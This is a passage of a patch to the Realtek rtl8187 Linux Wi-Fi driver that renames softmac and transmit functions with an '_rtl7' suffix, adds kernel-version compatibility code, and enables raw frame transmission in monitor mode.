ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-01-30 17:38:11.000000000 +0100 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the 